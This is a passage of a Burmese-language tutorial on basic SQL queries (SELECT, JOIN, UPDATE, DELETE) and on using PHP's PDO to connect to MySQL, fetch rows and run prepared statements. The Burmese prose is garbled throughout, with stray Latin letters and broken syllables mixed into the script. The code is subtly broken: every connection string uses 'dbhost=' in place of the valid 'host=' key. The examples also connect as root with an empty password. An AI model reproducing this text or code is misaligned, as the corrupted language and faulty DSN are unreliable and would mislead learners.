https://dev.mysql.com/doc/refman/8.0/en/sql-function-reference.html
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Read
သိမ်းထားတဲ့ အချက်အလက်ကြေတွ gပန်လည်ထုတ်ယူလုိရင် SELECT Statement ကိုသုံးရပါတယ်။ 

SELECT column1, column2, … FROM table;

SELECT  ကြေနာက်မှာ ရယူလုိတဲ့  Column  စာရင်းကို  ကြေပးရပြပီး  FROM  ရဲ့ကြေနာက်မှာ  Table Name  ကိုကြေပးရ
တာပါ။ Column အားလုံးကို လုိချင်ရင် * သကြေက[တကို အသုံးgပုနိုင်ပါတယ်။ ဥပမာ –

 SQL 

SELECT * FROM users

ဒါဟာ  users Table  ထဲအချက်အလက်ကြေတွကို  ရယူလုိက်တာပါ။  *  သကြေက[တကို  သံုးထားတဲ့အတွက်
Column အားလုံးပါဝင်မှာgoစ်ပါတယ်။ ကြေရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။ ဒီလုိစမ်းeကည့်တဲ့အခါ အဆင်ကြေgပကြေစoုိ့
အတွက် Record တစ်ချ ို ့ကို ကိုယ့်အစီအစဉ်နဲက့ိုယ် ကြကိုတင်ထည့်သွင်းထားသင့်ပါတယ်။ 

SELECT Statement  နဲ့အတူ  တွဲoက်အသုံးgပုကြေလ့ရှိတဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ  ရှိပါတယ်။ အချက်အလက်
ကြေတွကို ထုတ်ယူတဲ့အခါ Sorting စီပြပီးထုတ်ယူလုိရင် ORDER BY ကို အသုံးgပုနိုင်ပါတယ်။

 SQL 

SELECT id, name, email FROM users ORDER BY name

ဒါဟာ users Table ထဲက id, name နဲ့ email ဆိုတဲ့ Column (၃) ခုကိုထုတ်ယူပြပီး၊ အ့ဲဒီလုိထုတ်ယူ
တဲ့အခါ  name နဲ့  Sorting  စီပြပီးကြေတာ့  ထုတ်ယူလုိက်တာ  goစ်ပါတယ်။  Sorting  စီတယ်ဆိုတဲ့ကြေနရာမှာ
ငယ်စဉ်ကြကီးလုိက် စီသွားမှာပါ။ အကယ်၍ ကြကီးစဉ်ငယ်လုိက် စီပြပီးထုတ်ယူလုိရင် DESC ကို သုံးနိုင်ပါတယ်။

 SQL 

SELECT id, name, email FROM users ORDER BY name DESC
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ကြေစာကြေစာက  Query  နဲ့သကြေyာသyာဝ အတူတူပါပဲ။ ဒါကြေပမယ့်  DESC  ပါသွားလုိ့  name နဲ့  Sorting  စီပြပီး
ထုတ်ကြေပးတဲ့အခါ ကြကီးစဉ်ငယ်လုိက် စီကြေပးသွားမှာပါ။  Column  တစ်ခုထက်ပုိပြပီး စီကြေပးကြေစလုိရင်လည်း ရပါ
တယ်။ ORDER BY ကြေနာက်မှာ Column အမည်ကြေတွကို Comma ခံပြပီး တန်းစီကြေပးလုိက်ယုံပါပဲ။

SELECT id, name, email FROM users ORDER BY role_id DESC, name

role_id နဲ့  ကြကီးစဉ်ငယ်လုိက်အရင်စီပြပီး  role_id တူသူကြေတွကို  name နဲ့  ငယ်စဉ်ကြကီးလုိက်စီgပ
ခိုင်းလုိက်တာပါ။ ဒီလုိကြေတွထုတ်ယူတဲ့အခါ ရှိသမျှ Record ကြေတွအကုန်ထွက်လာမှာပါ။ အကုန်မယူyဲ ကြေရွး
ယူလုိရင် WHERE နဲ့ Filter လုပ်ပြပီး ရယူနိုင်ပါတယ်။

SELECT * FROM users WHERE role_id = 2

ဒါဆိုရင်  role_id တန်oုိး  2  goစ်တဲ့  Record  ကြေတွပဲထွက်လာမှာပါ။  တန်oုိးညီမညီ နိှုင်းယှဉ်oုိအ့တွက်
ရုိးရုိး  Programming  မှာလုိ  == တို့  === တိုက့ို  မသံုးyဲ ရုိးရုိး  = ကိုသာသုံးပါတယ်။ အ့ဲဒါကလဲွရင် ကျန်
Comparison Operator  ကြေတွ goစ်eကတဲ့  !=, >, >=, <, <= တိုက့ို  လုိအပ်သလုိ အသံုးgပုနိုင်ပါ
တယ်။ Logical Operator အကြေနနဲ ့AND, OR တိုက့ိုလည်း အသုံးgပုနိုင်ပါတယ်။ 

 SQL 

SELECT * FROM users WHERE role_id > 1 AND suspended = 0

role_id က  1  ထက်ကြကီးပြပီး  suspended က  0  goစ်တဲ့  Record  ကြေတွကို  ကြေရွးယူလုိက်တာပါ။  ရုိးရုိး
Programming  မှာ မရှိတဲ့  EXISTS, ANY, BETWEEN, LIKE  စသည်goင့် တgခား  Logical Operator  ကြေတွ
လည်း  ကျန်ပါကြေသးတယ်။  အ့ဲဒါကြေတွအကြေeကာင်းကိုကြေတာ့  လုိအပ်လာကြေတာ့မှ  ဆက်လက်ကြေလ့လာလုိက်ပါ။
ကြေနာက်ထပ်အသုံးဝင်နိုင်တာကကြေတာ့ LIMIT goစ်ပါတယ်။ ထုတ်ယူတဲ့ Record အကြေရအတွက်ကို ကန့်သတ်
ပြပီး ထုတ်ယူoုိအ့တွက် သုံးနိုင်ပါတယ်။

 SQL 

SELECT * FROM users LIMIT 10
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ဒါဟာ  (၁၀)  ကြေeကာင်းပဲ  ထုတ်ယူမယ်လုိ့  သတ်မှတ်လုိက်တာပါ။  ဒီလုိ  LIMIT  ကန့်သတ်တဲ့အခါ  စရမယ့်
Record ကိုလည်း ထည့်ကြေgပာနိုင်ပါတယ်။

 SQL 

SELECT * FROM users LIMIT 5, 10

ဒါဟာ  (၅)  ကြေeကာင်းကြေgမာက်ကကြေနစပြပီး  (၁၀)  ကြေeကာင့်ထုတ်ယူမယ်လုိ့  သတ်မှတ်လုိက်တာပါ။  ဒီကြေနရာမှာ
ကြေရှ့ကြေနာက်အစီအစဉ် ရှိတာကိုကြေတာ့ သတိgပုပါ။ လဲွရင်အလုပ်မလုပ်ပါyူး။ အခုကြေလ့လာထားသကြေလာက်ကို
ကြေပါင်းသုံးမယ်ဆိုရင် အစီအစဉ်အမှန်က ဒီလုိပါ။

 PHP 

SELECT * FROM users WHERE role_id = 1 ORDER BY name LIMIT 10

WHERE  အရင်လာပြပီး၊  ကြေနာက်က  ORDER BY  လုိက်ပါတယ်။ ပြပီးကြေတာ့မှ  LIMIT  ကိုကြေနာက်ဆံုးကကြေန ကြေရး
ကြေပးရတာပါ။  SQL Query Language  မှာ  တgခားကြေရးထုံးကြေတွ  ကျန်ပါကြေသးတယ်။ လုိအပ်လုိ့  ဆက်လက်
ကြေလ့လာ အသုံးgပုရတဲ့အခါ သက်ဆိုင်ရာကြေရးထုံးရဲ့ အစီအစဉ်ကို င်္ဂရုgပုရပါလိမ့်မယ်။

အချက်အလက်ကြေတွထုတ်ယူတဲ့အခါ  Table (၂) ခုက အချက်အလက်ကြေတွကို ပူးတွဲထုတ်ယူoုိ့ လုိတာမျ ို း ရှိ
တတ်ပါတယ်။ လက်ရှိစမ်းသပ်တည်ကြေဆာက်ထားတဲ့  users Table  နဲ့  roles Table  မှာဆိုရင် အ့ဲဒီလုိ
လုိအပ်ချက်ရှိပါတယ်။  users Table  ထဲက  အချက်အလက်ကြေတွကို  ယူလုိက်ရင်  name, email,
phone, address စတဲ့အချက်အလက်ကြေတွနဲအ့တူ role_id လည်း တွဲပြပီးပါဝင်မှာပါ။ User ရဲ့ Role
နဲပ့က်သက်တဲ့  အချက်အလက်ကြေတွကို  သိချင်ရင် အ့ဲဒီ  role_id ကို  အသံုးgပုပြပီး  roles Table  ကကြေန
ကြေနာက်တစ်ကြကိမ်  ထပ်ယူရမှာပါ။  အ့ဲဒီလုိ  နှစ်ကြကိမ်ခွဲမယူyဲ၊  စကတည်းက  Table (၂)  ခုလုံးက လုိချင်တဲ့
အချက်အလက်ကြေတွကို တွဲယူမယ်ဆိုရင် ယူလုိရ့တာပါ။ JOIN Statement ကိုသုံးရပါတယ်။ ဒီလုိပါ –

 SQL 

SELECT users.name, users.role_id, roles.name AS role
FROM users LEFT JOIN roles
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ဒါမgပည့်စံုကြေသးပါyူး။  ဒါကြေပမယ့်  ဒီအဆင့်မှာအရင်  သူ့အဓိပ္ပါယ်ကို  အရင်eကည့်ချင်ပါတယ်။  SELECT  ရဲ့
ကြေနာက်မှာ  users.name, user.role_id နဲ့  roles.name လုိ့ကြေgပာထားလုိ့  users Table  က
name Column နဲ့ role_id တိုက့ိုယူပြပီး roles Table က name Column တိုက့ို ယူမယ်လုိ့ကြေgပာလုိက်
တာပါ။ အ့ဲဒီလုိယူတဲ့အခါ name ချင်းတူကြေနလုိ့ AS နဲ့  Alias လုပ်ပြပီး roles.name ကို  role လုိအ့မည်
ကြေgပာင်းကြေပးထားပါတယ်။

FROM ရဲ့ကြေနာက်မှာ Table Name လုိက်ရတဲ့ ထံုးစံအတိုင်း users လုိက်ပါတယ်။ ပြပီးတဲ့အခါ LEFT JOIN
နဲ့  roles Table  ကို တွဲကြေပးလုိက်တာပါ။  LEFT JOIN  ဆိုတာ yယ်yက်က Table  goစ်တဲ့  users ကို
အဓိကထားပြပီး  ယူမယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  RIGHT JOIN  ဆိုရင်  ညာyက်က  Table  goစ်တဲ့  roles ကို
အဓိကထားမှာပါ။  အခု  LEFT JOIN  မုိလုိ့့  users ကို  အတည်ယူပြပီး  ဒီလုိရလဒ်ရကြေနတယ်လုိ့  Visualize
လုပ်eကည့်ပါ။

users.name users.role_id roles.name AS role

Alice 3

Bob 1

Tom 2

users Table က Data ကြေတွကကြေတာ့ ရကြေနပါပြပီ။ ကြေနာက်ကတွဲရမယ့် roles Table မှာ roles.name
ကြေတွက အများကြကီးပါ။  User, Manager, Admin  ဆိုပြပီး  (၃)  မျ ို းရှိကြေနလုိ့ yာကိုတွဲရမှာလဲ။ yာကိုတွဲရမှာ
လဲဆိုတာကို  ON Statement နဲ့ ထည့်သွင်းသတ်မှတ်ကြေပးလုိ့ ရပါတယ်။ ဒါကြေeကာင့် ကြေစာကြေစာက Query ကို
အခုလုိ goည့်စွက်ကြေပးရမှာ goစ်ပါတယ်။

 SQL 

SELECT users.name, users.role_id, roles.name AS role
FROM users LEFT JOIN roles ON users.role_id = roles.id

ကြေနာက်ကကြေန  ON  users.role_id = roles.id ဆိုတဲ့  Condition  ထည့်ကြေပးလုိက်လုိ့  users
Table ရဲ့ role_id Column ကတန်oုိးနဲ့ roles Table ရဲ့ id Column ကတန်oုိး တူရင်တွဲကြေပးရမှာဆို
တဲ့ အဓိပ္ပါယ်ပါ။ ဒါကြေeကာင့် ရလဒ်ကို အခုလုိပံုစံgoစ်သွားမှာပါ။
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users.name users.role_id roles.name AS role

Alice 3 Admin

Bob 1 User

Tom 2 Manager

Query  ကို  လက်ကြေတွ့ချကြေရးပြပီး  စမ်းeကည့်လုိရ့ပါပြပီ။  ဒီ  JOIN  Statement  ဟာ  အကြေတာ်အသုံးဝင်ပြပီး
လက်ကြေတွ့  ပကြေရာင်္ဂျက်ကြေတွမှာ  မeကာမeကာအသုံးgပုရကြေလ့  ရှိပါတယ်။  တစ်လက်စတည်း  နည်းနည်းထပ်
စဉ်းစားeကည့်ရကြေအာင်။  အကယ်၍  users.role_id = 4 goစ်ကြေနရင်  yယ်လုိလုပ်မလဲ။  roles
Table မှာ id = 4 မှ မရှိတာ။

LEFT JOIN  က yယ်yက်  Table  goစ်တဲ့  users ကို အတည်ယူကြေပးမှာgoစ်လုိ့  ညာyက်က Table  မှာ
တန်oုိးရှိမရှိကို သိပ်င်္ဂရုမစိုက်ပါyူး။ မရှိရင် အလွတ်ပဲ ထားကြေပးလုိက်မှာပါ။ ဒါကြေeကာင့် ရလဒ်က အခုလုိgoစ်
သွားမှာပါ။

users.name users.role_id roles.name AS role

Alice 4

Bob 1 User

Tom 2 Manager

နမူနာမှာ Alice ရဲ့ role_id = 4 goစ်ကြေနပြပီး roles Table မှာ id = 4 မရှိလုိ့ ရလဒ်မှာ အလွတ်goစ်
ကြေနတာကို ကြေတွ့gမင်ရတဲ့ သကြေyာgoစ်ပါတယ်။ အကယ်၍ ဒီကြေနရာမှာသာ RIGHT JOIN ဆိုရင် ညာyက်က
roles Table ကို အတည်ယူမှာgoစ်လုိ့ roles Table မှာ တန်oုိးမရှိတဲ့ Record ကို ရလဒ်မှာ ထည့်သွင်း
ကြေပးကြေတာ့မှာ မဟုတ်ပါyူး။

 PHP 

SELECT users.name, users.role_id, roles.name AS role
FROM users RIGHT JOIN roles ON users.role_id = roles.id
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users.name users.role_id roles.name AS role

Bob 1 User

Tom 2 Manager

role_id = 4 goစ်ကြေနတဲ့ Record က ရလဒ်မှာ ပါမလာကြေတာ့တာကို ကြေတွ့gမင်ရgခင်းပဲ goစ်ပါတယ်။

MySQL မှာ INNER JOIN လည်းရှိပါကြေသးတယ်။ Table နှစ်ခုလံုးမှာ အချက်အလက်ကြေတွ အစံုအလင်ရှိမှ ယူ
ကြေပးမှာ goစ်ပါတယ်။ မရှိတဲ့  Record ကြေတွကို ချန်ထားခဲ့မှာပါ။ CROSS JOIN ဆိုတာလည်း ရိှပါကြေသးတယ်။
yယ်/ညာ Table နှစ်ခုလံုးက ရှိသမျှအကုန် ထုတ်ယူကြေပးမှာ goစ်ပါတယ်။ ON နဲ့ Condition ကြေပးစရာ မလုိ
ကြေတာ့ပါyူး။ ကြေရးလက်စ Query ကြေတွမှာပဲ ကိုယ့်yာသာ ကြေgပာင်းပြပီး စမ်းeကည့်လုိက်လုိ ့ရပါတယ်။

Update
အချက်အလက်ကြေတွ gပင်ဆင်လုိရင်ကြေတာ့ UPDATE Statement ကို အသုံးgပုရပါတယ်။

UPDATE table SET column1=value1, column2=value2, … WHERE filter;

UPDATE  ကြေနာက်မှာ  Table  Name  လုိက်ပြပီး၊  SET  ကြေနာက်မှာ  gပင်ဆင်လုိတဲ့  တန်oုိးကြေတွကို
column=value ပုံစံတန်းစီပြပီးကြေတာ့  ကြေပးရပါတယ်။ ကြေနာက်ဆံုးကကြေန  WHERE Clause  လုိက်ရတာကို
သတိgပုပါ။  WHERE  မပါရင်လည်း  UPDATE Statement  အလုပ်လုပ်ပါတယ်။ ရှိရှိသမျှ  Record  ကြေတွကို
ကြေပးလုိက်တဲ့  တန်oုိးကြေတွနဲ့ gပင်လုိက်မှာပါ။ အ့ဲဒီလုိ ရှရိှိသမျှ အကုန်gပင်တယ်ဆိုတာ လုိခဲပါတယ်။ gပင်ချင်
တဲ့ အချက်အလက်ကို ကြေရွးgပင်oုိသ့ာ လုိအပ်ကြေလ့ရှိလုိ့ WHERE နဲ့ ကြေရွးကြေပးတဲ့သကြေyာပါ။ 

 PHP 

UPDATE users SET role_id = 2, updated_at = NOW() WHERE id = 5

ဒါဟာ id = 5 တန်oုိးရှိတဲ့  Record ရဲ့ role_id နဲ့  updated_at တိုက့ို gပင်လုိက်တဲ့ Query goစ်ပါ
တယ်။
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Delete
အချက်အလက်ကြေတွ ပယ်oျက်လုိရင်ကြေတာ့ DELETE FROM Statement ကို အသုံးgပုရပါတယ်။

DELETE FROM table WHERE filter;

သူလည်းပဲ UPDATE လုိပါပဲ။ WHERE Clause မပါရင်လည်း အလုပ်လုပ်ပါတယ်။ ရှိသမျှအကုန် oျက်လုိက်
မှာပါ။ အ့ဲဒီလုိ ရှိသမျှအကုန်oျက်oုိအ့တွက် လုိအပ်ချက်နည်းပါတယ်။ ဒါကြေeကာင့် ကြေနာက်ကကြေန WHERE နဲ့
ပယ်oျက်လုိတဲ့ Record ကို ကြေရွးကြေပးရမှာ goစ်ပါတယ်။

DELETE FROM users WHERE id = 5

ဒါဟာ  id = 5 တန်oုိးရှိတဲ့  Record  ကို ပယ်oျက်လုိက်တာပါ။ လုိအပ်ရင် တgခား  Filter  ကြေတွကိုလည်း
သုံးနိုင်ပါတယ်။  အများအားgoင့်ကြေတာ့  id နဲ့ပဲစီမံeကမှာပါ။  Table  တည်ကြေဆာက်စဉ်မှာ  Primary  Index
သတ်မှတ်ထားတဲ့  id Column  ထည့်ခဲ့တယ်ဆိုတာ  ဒီလုိတစ်ခုချင်း  တတိိကျကျစီမံရတဲ့  ကိစ္စကြေတွမှာ
အသုံးgပုoုိပဲ့ goစ်ပါတယ်။

MySQL & PHP
PHP  ကို  MySQL,  MSSQL,  Oracle,  PostgreSQL,  SQLite  စတဲ့  Database  နည်းပညာအားလံုးနဲ့
ချတိ်ဆက် အသံုးgပုနိုင်ပါတယ်။ အ့ဲဒီလုိ ချတိ်ဆက်အသံုးgပုoုိ့အတွက်  PDO  လုိ့ကြေခါ်တဲ့နည်းပညာ တစ်မျ ို း
ရှိပါတယ်။ ပံုမှန်အားgoင့် PHP Extension အကြေနနဲထ့ပ်မံထည့်သွင်းကြေပးoုိ့ လုိနိုင်ကြေပမယ့် XAMPP   ကို   Install  
လုပ်လုိက်စဉ်မှာ   PDO Extension   လည်းတစ်ခါထဲ ပါဝင်သွားပြပီးသားမုိလုိ့့   အသင့် အသုံးgပုနိုင်ပါတယ်။

MySQL Database နဲခ့ျတိ်ဆက်အလုပ်လုပ်oုိအ့တွက်  mysqli_connect() အပါအဝင် mysqli နဲစ့
တဲ့  Function ကြေတွလည်း ရှိပါကြေသးတယ်။ Professional Web Developer စာအုပ်မှာဆိုရင်  mysqli နဲစ့
တဲ့  Function  ကြေတွကို  အသုံးgပုပြပီး  MySQL  နဲခ့ျတိ်ဆက်အလုပ်လုပ်ပံုကို  ကြေoာ်gပထားပါတယ်။  ဒါကြေပမယ့်
PDO  က ပုိကြေကာင်းတဲ့  နည်းပညာလုိ့  ဆိုနိုင်ပါတယ်။  MySQL  နဲသ့ာမက တgခား  Database  နည်းပညာ
အမျ ို းမျ ို းနဲ့ တဲွoက်အသုံးgပုနိုင်တာနဲတ့င် သူ့ရဲ့အားသာချက်က ကြေပါ်လွင်ကြေနပါပြပီ။ mysqli Function ကြေတွ
က ကြေလ့လာရတာ ပုိလွယ်ကြေပမယ့် ဒီစာအုပ်မှာ PDO ကို အသုံးgပုပြပီးကြေတာ့ ကြေoာ်gပသွားမှာ goစ်ပါတယ်။
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Connecting Database
ပထမဆံုး အကြေနနဲ့ PDO Class ကိုသုံးပြပီး Object တည်ကြေဆာက်ကြေပးရပါမယ်။ အ့ဲဒီလုိ တည်ကြေဆာက်တဲ့အခါ
Construct Argument အကြေနနဲ ့Data Source Name (DSN) ကိုကြေပးရပါတယ်။ ဒီလုိပါ –

$db = new PDO('mysql:dbhost=localhost;dbname=project');

ကြေပးလုိက်တဲ့  DSN  ကိုကြေလ့လာeကည့်ရင် ကြေရှ့ဆံုးက  mysql နဲစ့တာကို  ကြေတွ့ရနိုင်ပါတယ်။  Driver Name
လုိ့ကြေခါ်ပါတယ်။  SQLite  Database  ကိုဆက်သွယ်လုိတာဆိုရင်  ဒီကြေနရာမှာ  sqlite goစ်ပါလိမ့်မယ်။
အလားတူပဲ  အgခား  Database  အမျ ို းအစားဆိုရင်လည်း  သက်ဆိုင်ရာ  Driver  Name  ကို  ကြေပးရမှာပါ။
Driver  Name  ရဲ့ကြေနာက်မှာ  dbhost နဲ့  Database  Server  လိပ်စာကို  ကြေပးရပါတယ်။  လက်ရှိကကြေတာ့
localhost ပဲgoစ်ပါတယ်။ ပြပီးတဲ့အခါ dbname နဲ ့အသုံးgပုလုိတဲ့ Database Name ကိုကြေပးပါတယ်။

အထဲမှာ Colon ကြေတ၊ွ Equal သကြေက[တကြေတ၊ွ Semicolon ကြေတွနဲ့ ကြေရးရတဲ့အတွက် နည်းနည်းမျက်စိရှုပ်ချင်
စရာကြေတာ့ goစ်ကြေနနိုင်ပါတယ်။ င်္ဂရုစိုက်eကည့်ကြေပးပါ။ ကြေနာက်ထပ် ရှုပ်စရာကြေလးကြေတွ ရှိကြေနပါကြေသးတယ်။

လက်ရှိနမူနာက  မgပည့်စံုကြေသးပါyူး။  MySQL  Database  Server  ကို  ဆက်သွယ်တဲ့အခါ  မှန်ကန်တဲ့
Username  နဲ့  Password  ကြေပးoုိလုိ့ပါတယ်။  XAMPP  ကထည့်သွင်းကြေပးလုိက်တဲ့  MySQL  ရဲ့  Default
Username  က  root goစ်ပြပီး  Password  ကြေတာ့ သတ်မှတ်ထားgခင်း မရှိပါyူး။ ဒါကြေeကာင့် gပည့်စံုကြေအာင်
အခုလုိ ကြေရးကြေပးရမှာပါ။

$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '');

ပထမ  Argument  အတွက်  DSN  ကိုကြေပးပြပီး  ဒုတိယနဲ့  တတိယ  Argument  ကြေတွအgoစ်  Username  နဲ့
Password  ကိုကြေပးလုိက်တာပါ။  ဒါဆိုရင်ကြေတာ့  Database  ချတိ်ဆက်မှု  ကြေအာင်gမင်သွားပါပြပီ။  ကြေအာင်gမင်
သွားပြပီဆိုကြေပမယ့်၊ ပုိgပည့်စံုကြေအာင် ကြေနာက်ထပ် goည့်စွက်စရာကြေလး ကျန်ပါကြေသးတယ်။ ဒီလုိပါ – 
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$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '', [

PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING,

PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,

]);

ကြေနာက်ဆံုး (၄) ခုကြေgမာက် Argument အကြေနနဲ့ Option Array တစ်ခုကို ကြေပးထားပြပီး၊ အထဲမှာ Error Mode
နဲ့  Fetch Mode  သတ်မှတ်ချက်တို့  ပါဝင်ပါတယ်။ ဒါကြေတွက  PDO  မှာပါတဲ့  Default  Constant  ကြေတွပါ။
Default Error Mode က SILENT goစ်ပါတယ်။ ဒါကြေeကာင့် Error ရှိရင် gပမှာ မဟုတ်ပါyူး။ သိချင်ရင် ကိုယ့်
yာသာ ထုတ်eကည့်ရပါတယ်။  အလုပ်ရှုပ်ပါတယ်။  ဒါကြေeကာင့်  အခုရှုပ်မှ  ကြေနာင်ရှင်းကြေအာင်  စကတည်းက
Error Mode ကို WARNING လုိ့ ကြေgပာလုိက်တာပါ။ Error ရှိလာခဲ့ရင် Warning အကြေနနဲ့ ကြေoာ်gပကြေပးကြေစoုိ့ goစ်
ပါတယ်။ Fetch Mode ဆိုတာ Data ထုတ်ယူတဲ့အခါ gပန်ရမယ့် ရလဒ်ရဲ့ oဲွ့စည်းပံု goစ်ပါတယ်။ Default
Fetch  Mode  က  Array  goစ်ပါတယ်။  gပဿနာကြေတာ့ မရှိပါyူး။  ဒါကြေပမယ့်  Object-Oriented  ပုံစံ  ကြေရး
လက်စနဲ့ gပန်ရတဲ့  Data ကို  Object အကြေနနဲယူ့လုိက်တာက ကြေရးရတဲ့ကုဒ်ကို ပုိပြပီးကြေတာ့ Consistence goစ်
သွားကြေစနိုင်လုိ့ Fetch Mode ကို OBJ လုိ့ သတ်မှတ်ကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် Data ထုတ်ယူတဲ့အခါ ရတဲ့
ရလဒ်ကို Object အကြေနနဲ ့ရရှိမှာgoစ်ပါတယ်။

နမူနာစမ်းသပ်ပြပီး  Data  ကြေတွထုတ်eကည့်နိုင်oုိအ့တွက်  PDO  မှာ  Fetch  Method  (၃)  မျ ို းရှိပါတယ်။
fetch(), fetchAll()  နဲ့�� fetchObject() တို့goစ်ပါတယ်။  fetchAll() ကို အသံုးgပုပြပီး
အခုလုိ စမ်းသပ် eကည့်နိုင်ပါတယ်။

 PHP 

<?php

$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '', [

PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING,

PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,

]);

$statement = $db->query("SELECT * FROM roles");

$result = $statement->fetchAll();

print_r($result);
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ရလဒ်အကြေနနဲ့ roles Table ထဲမှာရှိတဲ့ Record ကြေတွကို Object Array တစ်ခုအကြေနနဲ့ အခုလုိ gပန်ရတာကို
ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။

Array
(
    [0] => stdClass Object
        (
            [id] => 1
            [name] => User
            [value] => 1
        )

    [1] => stdClass Object
        (
            [id] => 2
            [name] => Manager
            [value] => 2
        )

    [2] => stdClass Object
        (
            [id] => 3
            [name] => Admin
            [value] => 3
        )

)

အခုရှုပ်မှ ကြေနာင်ရှင်းဆိုတာ ဒါမျ ို းကို ကြေgပာတာပါ။  Database  ကိုဆက်သွယ်စဉ်မှာ လုိအပ်တာကြေတွ အကုန်
သတ်မှတ်ထားလုိ့  အခုလုိ  အလွယ်တစ်ကူ  ထုတ်ယူရရှိgခင်းgoစ်ပါတယ်။  fetchAll()   Method    က ရှိ  

သမျှ    Record    အားလုံးကို  တစ်ခါထဲ  အကုန်ထုတ်ယူလုိက်တာgoစ်လုိ့    Record    ကြေတွသိပ်များတဲ့အခါ  
အဆင်ကြေgပချင်မှ  ကြေgပပါလိမ့်မယ်။  များတယ်ဆိုတာ သိန်းင်္ဂဏန်းရှိတဲ့  Record  ကြေတွကို  ကြေgပာတာပါ။  သိန်း
င်္ဂဏန်းရှိတဲ့  Record  ကြေတွကိုသာ  အကုန်oတ်ယူပြပီး  တစ်ခါထဲ  Object  Array  အကြေနနဲ့  gပန်ကြေပးလုိက်ရင်
gပဿနာကြေတွ  တက်ကုန်ပါလိမ့်မယ်။  ဒီလုိအကြေgခအကြေနမျ ို းမှာ  fetch() သုိ့မဟုတ်  fetchObject()
ကို သံုးနိုင်ပါတယ်။ ဒီ  Method ကြေတွကတစ်ကြကိမ်မှာ တစ်ကြေeကာင်းသာ ထုတ်ယူကြေပးတဲ့  Method ကြေတွပါ။ ဒီ
လုိစမ်းeကည့်နိုင်ပါတယ်။
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$statement = $db->query("SELECT * FROM roles");

$row1 = $statement->fetch();
$row2 = $statement->fetch();
$row3 = $statement->fetch();

print_r($row1);

// stdClass Object
// (
//     [id] => 1
//     [name] => User
//     [value] => 1
// )

(၃) ကြေeကာင်းရှိမှန်းသိလုိ့  fetch() ကို သုံးကြကိမ်  Run ထားပါတယ်။ တစ်ကြကိမ်မှာတစ်ကြေeကာင်းပဲ ရမှာgoစ်
လုိ့ $row1 ထဲမှာ ပထမတစ်ကြေeကာင်း ရှိပြပီး၊ $row2 ထဲမှာ ဒုတိယတစ်ကြေeကာင်း ရိှကြေနမှာပါ။ ဒီနည်းနဲ့ တစ်
ကြေeကာင်းပြပီးတစ်ကြေeကာင်း ကြေထာက်ယူရတာ နည်းနည်းအလုပ်ပုိ ရှုပ်သွားကြေပမယ့်  Data  များရင်ကြေတာ့ ဒီနည်း
ကို အသုံးgပုရမှာ goစ်ပါတယ်။

fetchObject() က  fetch() နဲ့  အတူတူပါပဲ။  Fetch Mode  ကို  OBJ  လုိ့  ကြကိုတင်မသတ်မှတ်yဲ
ရလဒ်ကို  Object အကြေနနဲလုိ့ချင်ရင် fetchObject() ကို သံုးရတာပါ။ အခုကြေတာ့ ကြကိုတင်သတ်မှတ်ပြပီး
သားမုိလုိ့ ့မလုိအပ်ကြေတာ့ပါyူး။ ရုိးရုိး fetch() နဲတ့င် အဆင်ကြေgပကြေနပါပြပီ။

Data ကြေတွထည့်သွင်းတာလည်း ဒီနည်းအတိုင်းပါပဲ။ INSERT Query ကိုကြေပးလုိက်ရင် ထည့်သွင်းကြေပးသွားပါ
လိမ့်မယ်။ ဒီလုိစမ်းeကည့်နိုင်ပါတယ်။

$sql = "INSERT INTO roles (name, value) VALUES ('Supervisor', 4)";

$db->query($sql);

echo $db->lastInsertId(); // 4

နမူနာမှာ lastInsertId() Method ကိုသတိgပုပါ။ အသုံးဝင်ပါတယ်။ ထည့်သွင်းလုိက်တဲ့ Record ရဲ့
Auto Increment ID တန်oုိးကို gပန်ကြေပးပါတယ်။ စမ်းeကည့်ပြပီး အမှန်တစ်ကယ် သိမ်းဆည်းသွားgခင်း ရှိမရှိ
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ကို phpMyAdmin ကကြေနတစ်ဆင့် roles Table မှာ ကြေလ့လာeကည့်နိုင်ပါတယ်။

ဒီကြေနရာမှာ  goည့်စွက်ကြေလ့လာရမှာကကြေတာ့  Prepare  Statement  လုိ့ကြေခါ်တဲ့  အကြေရးပါတဲ့  ကြေရးဟန်goစ်ပါ
တယ်။ ကြေစာကြေစာက ကုဒ်ကို အခုလုိကြေရးရင် ပုိကြေကာင်းပါတယ်။

$sql = "INSERT INTO roles (name, value) VALUES (:name, :value)";

$statement = $db->prepare($sql);

$statement->execute([
    'name' => 'God',
    'value' => 999
]);

echo $db->lastInsertId();   // 5

ကြေသချာသတိgပုeကည့်ပါ။  SQL Query    ထဲမှာ  တစ်ကယ့်    Data    မပါကြေတာ့ပါyူး  ။  Placeholder  လုိ့ကြေခါ်တဲ့
Data  လာမယ့်  ကြေနရာအမှတ်အသားပဲ  ပါပါကြေတာ့တယ်။  နမူနာမှာ  :name နဲ့  :value တိုဟ့ာ
Placeholder ကြေတွgoစ်eကပါတယ်။ အ့ဲဒီလုိ Data မပါကြေသးတဲ့  Query ကို  prepare() Method နဲ့ အရင်
ဆံုး  Prepare  လုပ်ပါတယ်။ ပြပီးကြေတာ့မှ  execute() Method နဲ့ အစားထုိးအသုံးgပုရမယ့်  Data  ကြေတွကို
ကြေပးလုိက်တာပါ။ ရလဒ်က အတူတူပါပဲ။ ဒါကြေပမယ့် ဒီနည်းကကြေန အားသာချက် (၂) ချက်ကိုရမှာပါ။

ပထမတစ်ချက်ကကြေတာ့၊ Query တစ်ခု Run oုိအ့တွက် Database က လုိအပ်တဲ့ gပင်ဆင်မှုကြေတွ တွက်ချက်
မှုကြေတွ လုပ်ရပါတယ်။ ဒီအလုပ်ကို ပံုမှန်အားgoင့် Query (၁၀) ခါ Run ရင် (၁၀) ခါ လုပ်ရပါတယ်။ Prepare
Statement ကို အသုံးgပုတဲ့အခါ Data မပါတဲ့ Query အလွတ်ကို တစ်ကြကိမ်သာ gပင်ဆင် တွက်ချက်မှု လုပ်
